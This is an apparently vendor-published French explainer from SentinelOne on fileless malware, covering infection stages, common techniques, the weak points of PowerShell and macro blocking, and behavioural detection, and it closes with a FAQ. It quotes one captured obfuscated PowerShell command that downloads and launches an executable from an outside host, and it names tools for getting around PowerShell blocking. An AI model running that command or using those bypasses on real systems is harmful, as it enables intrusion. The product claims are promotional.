Les logiciels malveillants sans fichier fonctionnent sans fichiers traditionnels, ce qui les rend difficiles à détecter. Ce guide explore le fonctionnement des logiciels malveillants sans fichier, leurs méthodes d'infection et les risques qu'ils représentent pour les organisations.
Découvrez des stratégies efficaces de détection et de prévention pour lutter contre cette menace furtive. Il est essentiel de comprendre les logiciels malveillants sans fichier pour renforcer les défenses en matière de cybersécurité.
Le rapport SentinelOne H1 2018 Enterprise Risk Index Report montre que les attaques sans fichier ont augmenté de 94 % entre janvier et juin. Les attaques PowerShell sont passées de 2,5 attaques pour 1 000 terminaux en mai 2018 à 5,2 attaques pour 1 000 terminaux en juin.
Au cours des dernières années, les auteurs de menaces se sont de plus en plus tournés vers les logiciels malveillants sans fichier, qu'ils considèrent comme une alternative très efficace.

Qu'est-ce qu'un malware sans fichier ?
Un malware sans fichier est un code malveillant qui ne nécessite pas l'utilisation d'un fichier exécutable sur le système de fichiers du terminal, en dehors de ceux qui s'y trouvent déjà. Il est généralement injecté dans un processus en cours d'exécution et s'exécute uniquement dans la mémoire vive (RAM). Cela rend leur détection et leur prévention beaucoup plus difficiles pour les logiciels antivirus traditionnels et autres produits de sécurité des terminaux de le détecter ou de le prévenir en raison de son faible encombrement et de l'absence de fichiers à analyser.
Un exemple qui a touché les États-Unis, le Canada et l'Europe : des pirates ont lancé une campagne de spam qui diffusait des documents Word malveillants qui exécutaient des macros lorsqu'ils étaient ouverts, diffusant ainsi des logiciels malveillants sans fichier. Dans ce type de cas, " sans fichier " signifie que les pirates ont utilisé Windows PowerShell pour charger un fichier exécutable directement dans la mémoire plutôt que de l'écrire sur le disque (où il peut être détecté par les scanners de logiciels malveillants classiques).
Il existe de nombreuses autres façons d'exécuter du code sur un appareil sans utiliser de fichiers exécutables. Celles-ci utilisent souvent des processus système disponibles et approuvés par le système d'exploitation.
En voici quelques exemples :
- VBScript
- JScript
- Fichiers batch
- PowerShell
- Windows Management Instrumentation (WMI)
- Mshta et rundll32 (ou autres fichiers signés Windows capables d'exécuter du code malveillant)
Les logiciels malveillants cachés dans les documents sont également des attaques sans fichier
Au-delà des attaques sans fichier qui utilisent les fichiers système pour exécuter du code malveillant, un autre type d'attaque courant et considéré comme sans fichier est celui des logiciels malveillants cachés dans des documents. Bien que ces fichiers de données ne soient pas autorisés à exécuter du code, il existe des vulnérabilités dans Microsoft Office et les lecteurs PDF que les adversaires peuvent exploiter pour obtenir l'exécution de code. Par exemple, un document infecté pourrait déclencher un code malveillant PowerShell. Il existe également quelques fonctionnalités intégrées qui permettent l'exécution de code dans les documents, comme les macros et attaque DDE.
Comment fonctionnent les logiciels malveillants sans fichier ?
La forme la plus courante de malware sans fichier dans la nature est celle où la victime clique sur un lien spam dans un e-mail ou sur un site web frauduleux.
Ce lien ou ce site web charge alors l'application Flash et met en œuvre un exploit pertinent afin d'infecter l'ordinateur de l'utilisateur. Ensuite, le logiciel malveillant utilise un shellcode pour exécuter une commande lui permettant de télécharger et d'exécuter la charge utile uniquement dans la mémoire.
Cela signifie qu'il ne laisse aucune trace de son activité. Selon les objectifs du pirate informatique, le logiciel malveillant peut compromettre des données sensibles, endommager l'ordinateur de la victime ou effectuer d'autres actions nuisibles telles que le vol et le chiffrement de données.
Les pirates se font généralement passer pour une source fiable ou familière afin de convaincre la victime de cliquer sur le lien qu'ils fournissent. Cette technique est particulièrement efficace dans les contextes formels où la victime croit qu'un employé ou un cadre de son entreprise la contacte.
Le point essentiel à retenir ici est que ce type d'attaque malveillante repose sur l'ingénierie sociale pour réussir.
Caractéristiques des logiciels malveillants sans fichier
Ce type de logiciel malveillant utilise des programmes déjà présents sur l'ordinateur. Son comportement ne peut être détecté par les scanners heuristiques et il ne possède aucun code ou signature identifiable. De plus, les logiciels malveillants sans fichier résident dans la mémoire du système.Pour fonctionner, il exploite les processus du système d'exploitation infecté. Les logiciels malveillants sans fichier plus avancés peuvent également être combinés à d'autres types de logiciels malveillants pour faciliter des cyberattaques complexes. Ils peuvent même contourner les listes blanches et les sandbox dans certaines circonstances.
Étapes d'une attaque par logiciel malveillant sans fichier
Une attaque par logiciel malveillant sans fichier est assez unique dans son fonctionnement. Comprendre comment elle fonctionne peut aider une organisation à se protéger contre de futures attaques par logiciel malveillant sans fichier. Voyons ce que vous devez savoir.
1. Le logiciel malveillant accède à la machine
Avant qu'un acteur malveillant puisse mener à bien son attaque malveillante, il doit d'abord accéder à la machine de la victime, souvent à l'aide d'un e-mail de phishing ou d'une tactique d'ingénierie sociale. Une fois cela fait, il peut passer aux étapes suivantes du processus.
Une autre façon d'accéder à la machine d'une victime consiste à utiliser des identifiants compromis. En volant des identifiants, le pirate informatique peut accéder librement au système, puis utiliser ces informations pour accéder à d'autres environnements. Par exemple, l'accès initial à la machine peut ne pas donner au pirate les privilèges dont il a besoin, mais il peut être en mesure de se procurer les identifiants pour obtenir ces données.
2. Le programme établit sa persistance
Après avoir obtenu l'accès, le logiciel malveillant établit une porte dérobée permettant au pirate d'accéder à la machine à sa guise. L'objectif principal de cette action est d'éviter de perdre l'accès à l'appareil afin de pouvoir continuer à collecter des informations sur de longues périodes.
3. Exfiltration des données
La dernière étape est l'exfiltration des données. Une fois que l'attaquant a localisé les informations dont il a besoin, les données sont alors exfiltrées vers un autre environnement. Cela leur permet d'obtenir des données sensibles sans être détectés pendant de longues périodes et peut être répété aussi souvent que nécessaire.
Techniques courantes des logiciels malveillants sans fichier
Une bonne compréhension des différentes techniques vous aidera à apprendre à reconnaître une attaque à l'avenir. Voici six types de logiciels malveillants qui peuvent exploiter les capacités sans fichier pour améliorer leur capacité à éviter la détection :
1. Logiciels malveillants résidant en mémoire
En utilisant l'espace mémoire d'un fichier Windows réel, les pirates peuvent charger un code malveillant qui reste inactif jusqu'à son activation. Le fait qu'il n'utilise pas de fichier signifie que les logiciels antivirus standard qui analysent les fichiers ne peuvent pas détecter le logiciel malveillant.
2. Rootkits
Comme les rootkits existent sur le noyau plutôt que dans un fichier, ils ont de puissantes capacités pour éviter la détection. Ils sont 100 % sans fichier, mais entrent dans cette catégorie en raison de leur évolution.
3. Malware du registre Windows
Comme dans l'exemple mentionné ci-dessus, ces attaques exploitent la base de données du registre Windows qui stocke les paramètres de bas niveau de diverses applications. Le logiciel malveillant s'appuie sur un code exécuté via un fichier, mais ce fichier est configuré pour s'autodétruire après son exécution, ce qui permet au logiciel malveillant de persister sans fichier.
4. Fausses informations d'identification
Comme son nom l'indique, cette attaque consiste à utiliser les identifiants compromis d'un utilisateur légitime (c'est-à-dire un nom d'utilisateur et un mot de passe volés). Une fois que le pirate a accédé au système, il met en œuvre un shellcode pour faciliter son attaque sur la machine.
Dans les cas extrêmes, il peut même placer du code dans le registre afin d'établir un accès permanent à l'ordinateur.
5. Ransomware sans fichier
Pour ceux qui ne connaissent pas ce type de logiciel malveillant, ransomware est un programme malveillant utilisé par les pirates informatiques pour extorquer de l'argent à leurs victimes. Ils cryptent souvent les données sensibles et menacent de les supprimer si une certaine somme d'argent n'est pas versée, généralement via une cryptomonnaie.
Lorsque ce type d'attaque sans fichier se produit, les pirates peuvent attaquer sans jamais écrire sur le disque de la machine. Il est donc difficile de s'en apercevoir avant qu'il ne soit trop tard.
6. Kits d'exploitation
Les cybercriminels utilisent un ensemble d'outils appelés " kits d'exploitation " pour tirer parti des vulnérabilités de l'ordinateur de la victime. Ces attaques commencent généralement comme une attaque malveillante sans fichier classique, c'est-à-dire qu'elles consistent souvent à convaincre l'utilisateur de cliquer sur un lien frauduleux.
Une fois que le programme a infiltré la machine, le kit d'exploitation peut analyser le système afin de déterminer les vulnérabilités à exploiter, puis proposer un ensemble spécifique d'exploits à déployer. Souvent, le logiciel malveillant passe inaperçu et obtient un accès étendu au système et aux données.
Le problème pour les entreprises
L'une des raisons pour lesquelles les logiciels malveillants sans fichier sont si redoutables est que les produits de sécurité ne peuvent pas simplement bloquer les fichiers système ou les logiciels utilisés dans ce type d'attaques. Par exemple, la maintenance informatique serait compromise si un administrateur de sécurité bloquait PowerShell. Il en va de même pour le blocage des documents Office ou des macros Office, qui aurait probablement un impact encore plus important sur la continuité des activités.
Le faible encombrement et l'absence d'exécutables " étrangers " à analyser rendent difficile la détection ou la prévention de ce type d'attaques par les antivirus traditionnels et autres produits de sécurité des terminaux.
Le problème pour les fournisseurs
Les entreprises comprennent que l'absence de protection efficace contre les logiciels malveillants sans fichier pourrait rendre leur organisation extrêmement vulnérable. En conséquence, les fournisseurs de solutions de sécurité ont été contraints de faire face à cette menace croissante et ont créé toutes sortes de correctifs pour revendiquer (ou démontrer) leur couverture contre les " attaques sans fichier ".
Malheureusement, bon nombre de ces tentatives pour résoudre le problème sont loin d'être idéales. Voici quelques-unes des solutions standard et les raisons pour lesquelles elles sont inadéquates :
Blocage de PowerShell
Comme indiqué ci-dessus, PowerShell est devenu un outil essentiel pour les équipes informatiques et a largement remplacé l'ancien outil cmd de Microsoft comme utilitaire de ligne de commande par défaut. Le bloquer perturberait gravement le travail des équipes informatiques. Plus important encore, d'un point de vue défensif, le bloquer serait inutile : Il existe de nombreuses sources publiques expliquant comment contourner la politique d'exécution de PowerShell, ainsi que d'autres moyens de l'utiliser qui contournent le blocage de PowerShell.exe. Pour n'en citer que quelques-unes :
- Exécutez PowerShell avec des dll uniquement, à l'aide d'une simple commande rundll32 utilisant PowerShdll
- Convertir les scripts PowerShell en d'autres fichiers EXE, à l'aide d'outils tels que PS2EXE
- Utiliser un logiciel malveillant qui utilise sa propre copie de PowerShell.exe ou modifie le PowerShell local pour éviter la détection de PowerShell par les produits de sécurité
- Intégrer un script PowerShell dans les pixels d'un fichier PNG et générer une ligne de commande pour l'exécuter à l'aide de Invoke-PSImage
Blocage des fichiers macro MS Office
Pour éliminer ce vecteur d'attaque, Microsoft a ajouté une option permettant de désactiver les macros dans les paramètres du site (à partir d'Office 2016). Cependant, la plupart des environnements les autorisent toujours, c'est pourquoi les fournisseurs de solutions de sécurité ont principalement abordé ce problème de deux manières :
- Bloquer les macros de manière générale – cela impose les mêmes restrictions que celles proposées par Microsoft aux organisations qui peuvent se passer des macros
- Extraire le code macro pour une analyse statique ou des vérifications de réputation – cela peut fonctionner dans certains cas. Cependant, l'inconvénient de cette approche est que ce type de code est extrêmement difficile à classer et à détecter avec un taux de faux positifs acceptable, en particulier pour les macros malveillantes jamais vues auparavant. De plus, il existe très peu de référentiels de codes bénins et malveillants. Une autre option consiste à rechercher les fonctions courantes généralement utilisées dans les attaques, mais là encore, celles-ci sont variables et peu répertoriées
Détection côté serveur
Certains produits utilisent uniquement la surveillance côté agent et prennent la décision sur le serveur ou dans le cloud. Cette approche présente les mêmes inconvénients que toute détection qui ne se fait pas sur le terminal. Principalement, pour fonctionner, elle nécessite une connectivité et la prévention est impossible car l'agent doit attendre la réponse du serveur avant d'agir.
Comment détecter les logiciels malveillants sans fichier
Les logiciels malveillants sans fichier sont l'une des menaces les plus difficiles à détecter pour les logiciels antivirus traditionnels et les produits de cybersécurité hérités, car ils peuvent échapper aux méthodes de sécurité traditionnelles basées sur la détection par signature, la liste blanche et le sandboxing.
Un bon moyen de protéger votre organisation contre les logiciels malveillants sans fichier consiste à disposer d'une équipe de recherche de menaces qui recherche activement les logiciels malveillants.
Les indicateurs d'attaque seront masqués et mélangés dans l'environnement d'une organisation. Il existe diverses façons dont cela peut apparaître dans un système et il faut une compréhension approfondie des menaces pour découvrir les logiciels malveillants sans fichier.
Le comportement, pas l'identité
La clé est d'observer le comportement des processus exécutés sur le terminal plutôt que d'inspecter les fichiers présents sur la machine. Cette approche est efficace car, malgré le nombre important et croissant de variantes de logiciels malveillants, ceux-ci fonctionnent de manière très similaire. Le nombre de comportements malveillants est considérablement inférieur au nombre de formes que peut prendre un fichier malveillant, ce qui rend cette approche adaptée à la prévention et à la détection.
Bien que SentinelOne utilise plusieurs moteurs, notamment l'IA statique et comportementale, l'approche comportementale est extrêmement efficace pour détecter et prévenir ce type d'attaque, car elle est indépendante du vecteur d'attaque.
L'efficacité de cette approche est démontrée dans des exemples tels que la campagne WannaCry , où SentinelOne a pu défendre ses clients avant même que le ransomware n'ait été détecté dans la nature.
Améliorez votre veille sur les menaces
Découvrez comment WatchTower, le service de chasse aux menaces de SentinelOne, peut vous apporter de meilleures informations et vous aider à déjouer les attaques.
En savoir plusComment SentinelOne bloque les logiciels malveillants sans fichier
SentinelOne surveille toutes les activités côté agent au niveau du noyau afin de distinguer les activités malveillantes des activités bénignes. Étant donné que l'agent dispose déjà du contexte complet (utilisateurs, processus, arguments de ligne de commande, registre, fichiers sur le disque et communications externes), toute activité malveillante peut être complètement neutralisée. SentinelOne peut annuler toutes les actions malveillantes et permettre à l'utilisateur de travailler sur un appareil propre.
Essentiellement, SentinelOne vous permet d'éliminer les coûts cachés liés au maintien de la propreté de votre réseau contre les codes malveillants, sur l'ensemble de votre réseau.
Contenu actif
Pour mettre en œuvre cette approche de manière efficace, SentinelOne utilise le concept " StoryLine ", qui résout le problème de la répartition des responsabilités à la source des activités malveillantes.
Par exemple, supposons qu'un utilisateur télécharge une pièce jointe malveillante via Outlook, qui tente ensuite de crypter les fichiers sur le disque. Dans ce scénario, blâmer et mettre en quarantaine Outlook en tant que processus parent reviendrait à passer à côté de la véritable source de l'activité malveillante. Au lieu de cela, Outlook devrait être inclus comme source de données d'analyse pour montrer, mais pas pour atténuer. Vous souhaitez toutefois atténuer l'ensemble du groupe de menaces, indépendamment des fichiers supplémentaires déposés, des clés de registre créées ou de tout autre comportement nuisible.
L'utilisation de StoryLine nous permet de déterminer la cause profonde d'un flux malveillant donné, avec ou sans fichier, et d'en attribuer la responsabilité, ce qui permet au client de gérer l'incident avec précision.
Procédure de détection et d'atténuation
Suivons le parcours d'un utilisateur qui a reçu un document Word par e-mail crypté. L'utilisateur connaît l'expéditeur et télécharge donc le document sur son bureau pour l'ouvrir. Une fois le fichier ouvert, il obtient le résultat suivant :
Une fois que l'utilisateur clique sur " Oui ", l'attaque se déclenche. Voyons ce que détecte l'agent SentinelOne (fonctionnant en mode Détection dans cet exemple).
L'administrateur peut examiner précisément comment chaque élément impliqué dans cette histoire a contribué à l'attaque.
SentinelOne affiche la ligne de commande exacte qui invoque la commande PowerShell :
-ExECUtiONpOlIcy BYpAsS -NoPROfILE -WInDOWSTYLe HIdDEN (neW-oBJeCT SysTem.NeT.weBcliENT).doWNlOADfilE('http://v32gy.worldnews932.ru/file/nit.nbv','C:UsersadminAppDataRoaming.exE');START-proceSS 'C:UsersadminAppDataRoaming.exE'
Dans un scénario réel, l'agent SentinelOne atténue immédiatement le problème. Cela se produit automatiquement, sans que l'administrateur ait besoin d'intervenir. L'administrateur est averti par SMS, SIEM ou e-mail.
Conclusion
En fin de compte, les adversaires emprunteront toujours le chemin le plus court pour compromettre les terminaux afin d'obtenir le meilleur rendement avec le moins d'efforts possible. Les logiciels malveillants sans fichier deviennent rapidement l'un des moyens les plus populaires pour y parvenir, et pour prévenir de telles attaques, il ne suffit pas de bloquer les opérations essentielles telles que PowerShell. C'est là que SentinelOne, basé sur la détection comportementale par IA et la sécurité multicouche, prend tout son sens, en couvrant les exploits, les documents macro, les kits d'exploitation, PowerShell, PowerSploit et les vulnérabilités zero day localement sans impact sur la productivité quotidienne de vos employés.
Demandez une démonstration et découvrez comment SentinelOne peut vous protéger contre les logiciels malveillants sans fichier et les attaques zero-day !
"FAQ sur les logiciels malveillants sans fichier
Un malware sans fichier est un code malveillant qui s'exécute en mémoire et ne repose pas sur des fichiers stockés sur le disque. Il exploite des outils légitimes tels que PowerShell ou WMI pour mener ses attaques, ne laissant que peu ou pas de traces détectables par les antivirus traditionnels. Les pirates l'utilisent pour éviter d'être détectés et rester persistants jusqu'à ce qu'ils obtiennent ce qu'ils veulent.
Un e-mail de phishing dépose une macro malveillante dans un document Word. La macro exécute un script PowerShell directement en mémoire, télécharge des charges utiles et crée des portes dérobées, le tout sans enregistrer de fichier sur le disque. L'attaque abuse des processus système de confiance, ce qui la rend beaucoup plus difficile à détecter pour les outils de sécurité standard.
Les logiciels malveillants sans fichier peuvent voler des données, déployer des ransomwares, installer des portes dérobées ou donner aux attaquants le contrôle total de vos systèmes. Comme ils utilisent des processus légitimes et touchent rarement le disque, ils sont difficiles à détecter et peuvent rester longtemps en mémoire, ce qui permet aux attaquants de conserver leur accès ou de s'enfoncer plus profondément dans votre réseau.
Les techniques courantes consistent à exploiter PowerShell, WMI, le registre Windows et les macros. Les attaquants utilisent l'injection de DLL réfléchissante, des scripts malveillants et des binaires LOLBins (living-off-the-land) pour éviter d'écrire des fichiers.
Ils peuvent utiliser des tâches planifiées ou des exploits résidant en mémoire, de sorte que la charge utile disparaît après un redémarrage ou l'arrêt du processus.
Vous pouvez surveiller les activités de scripts suspects, les utilisations inhabituelles de PowerShell ou WMI et les anomalies de mémoire. Les plateformes de détection et de réponse aux incidents au niveau des terminaux (EDR) vous aident en enregistrant les activités de la ligne de commande et le comportement des processus. Surveillez les nouvelles tâches planifiées, les modifications du registre et les connexions réseau inattendues qui pourraient indiquer des opérations sans fichier.
Les systèmes peuvent fonctionner lentement, afficher des processus inconnus en mémoire ou générer un trafic réseau étrange. Vous pouvez observer une activité PowerShell ou WMI inattendue, de nouvelles tâches planifiées ou des modifications du registre. Les antivirus traditionnels ne détecteront pas grand-chose, vous devrez donc rechercher des indices comportementaux et une instabilité du système.
Désactivez les outils de script inutiles, limitez les privilèges des utilisateurs et maintenez tous les logiciels à jour. Utilisez des solutions EDR pour surveiller l'utilisation de la mémoire et des scripts. Formez votre personnel à ne pas ouvrir les e-mails ou les pièces jointes suspects.
Bloquez les macros par défaut et vérifiez régulièrement vos systèmes pour détecter tout comportement inhabituel et toute connexion réseau ouverte.

